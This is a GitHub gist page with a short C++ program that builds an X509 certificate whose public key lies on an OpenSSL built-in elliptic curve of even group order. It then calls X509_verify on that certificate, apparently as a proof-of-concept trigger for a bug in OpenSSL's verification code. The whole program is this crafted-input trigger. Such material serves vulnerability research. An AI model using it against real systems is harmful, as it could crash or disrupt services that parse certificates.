-
-
Save agustingianni/31a0491fffb8bdfab35ef3591f1fa6ae to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdio> | |
#include <cassert> | |
#include <vector> | |
#include <optional> | |
#include <openssl/x509.h> | |
std::optional<EC_builtin_curve> EC_get_even_curve() | |
{ | |
// Get the builtin curves. | |
size_t count = EC_get_builtin_curves(nullptr, 0); | |
std::vector<EC_builtin_curve> curves(count); | |
EC_get_builtin_curves(curves.data(), count); | |
// Find a curve that has an even order. | |
for (auto curve : curves) | |
{ | |
auto eckey = EC_KEY_new_by_curve_name(curve.nid); | |
auto group = EC_KEY_get0_group(eckey); | |
auto ctx = BN_CTX_new(); | |
auto order = BN_new(); | |
EC_GROUP_get_order(group, order, ctx); | |
if (!BN_is_odd(order)) | |
return curve; | |
} | |
return {}; | |
} | |
std::optional<X509 *> GenerageX509Certificate() | |
{ | |
// Find the right elliptic curve. | |
auto curve = EC_get_even_curve(); | |
if (!curve) | |
{ | |
printf("Could not find a curve with an even group order.\n"); | |
return {}; | |
} | |
// Generate an elliptic curve key on the special curve. | |
auto eckey = EC_KEY_new_by_curve_name(curve->nid); | |
if (!eckey) | |
{ | |
printf("Could not create a key.\n"); | |
return {}; | |
} | |
// Generate the key. | |
if (!EC_KEY_generate_key(eckey)) | |
{ | |
printf("Could not generate a key.\n"); | |
return {}; | |
} | |
// Create a generic key and assign our eckey to it. | |
auto pkey = EVP_PKEY_new(); | |
EVP_PKEY_assign_EC_KEY(pkey, eckey); | |
// Create a certificate. | |
auto cert = X509_new(); | |
assert(X509_set_pubkey(cert, pkey) && "Could not set the new pk."); | |
// Sign the certificate with a normal key, otherwise we would trigger the bug. | |
{ | |
auto eckey = EC_KEY_new_by_curve_name(NID_secp112r1); | |
EC_KEY_generate_key(eckey); | |
auto pkey = EVP_PKEY_new(); | |
EVP_PKEY_assign_EC_KEY(pkey, eckey); | |
assert(X509_sign(cert, pkey, EVP_sha256())); | |
} | |
return cert; | |
} | |
int main(int argc, char **argv) | |
{ | |
auto cert = GenerageX509Certificate(); | |
auto pubkey = X509_get0_pubkey(*cert); | |
X509_verify(*cert, pubkey); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment